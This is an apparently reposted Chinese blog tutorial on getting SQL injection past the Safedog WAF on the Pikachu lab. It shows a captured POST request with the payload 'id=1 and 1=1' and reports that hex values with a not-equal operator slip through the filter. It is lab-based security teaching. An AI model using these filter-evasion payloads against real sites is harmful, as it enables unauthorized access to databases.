WAF绕过 -- and判断

Meng0f

WAF绕过 -- and判断

转载于： yushao web安全工具库 2022-01-29 00:00
​一、环境

1. <p>1、Pikachu靶机</p>
   
2. 
   
3. <p>2、安全狗最新版</p>

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二、BurpSuite2022抓包，点击获取下载地址
1、正常访问结果

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2、抓取POST包，并修改，加入and 1=1，提示被拦截
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1. 
   
2. POST /pikachu/vul/sqli/sqli_id.php HTTP/1.1
   
3. Host: localhost
   
4. Content-Length: 21
   
5. Cache-Control: max-age=0
   
6. sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
   
7. sec-ch-ua-mobile: ?0
   
8. sec-ch-ua-platform: "Windows"
   
9. Upgrade-Insecure-Requests: 1
   
10. Origin: http://localhost
    
11. Content-Type: application/x-www-form-urlencoded
    
12. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
    
13. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    
14. Sec-Fetch-Site: same-origin
    
15. Sec-Fetch-Mode: navigate
    
16. Sec-Fetch-User: ?1
    
17. Sec-Fetch-Dest: document
    
18. Referer: http://localhost/pikachu/vul/sqli/sqli_id.php
    
19. Accept-Encoding: gzip, deflate
    
20. Accept-Language: zh-CN,zh;q=0.9
    
21. Cookie: PHPSESSID=vm1gpr93kn5nat0e23qft4tsg7
    
22. Connection: close
    
23. 
    
24. id=1 and 1=1&submit=1

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3、将and 1=1修改为and 0x1!=0x1肯定不成立，返回不存在，再修改为and 0x1!=0x0，返回用户名，说明“十六进制+不等于”可以绕过该WAF。

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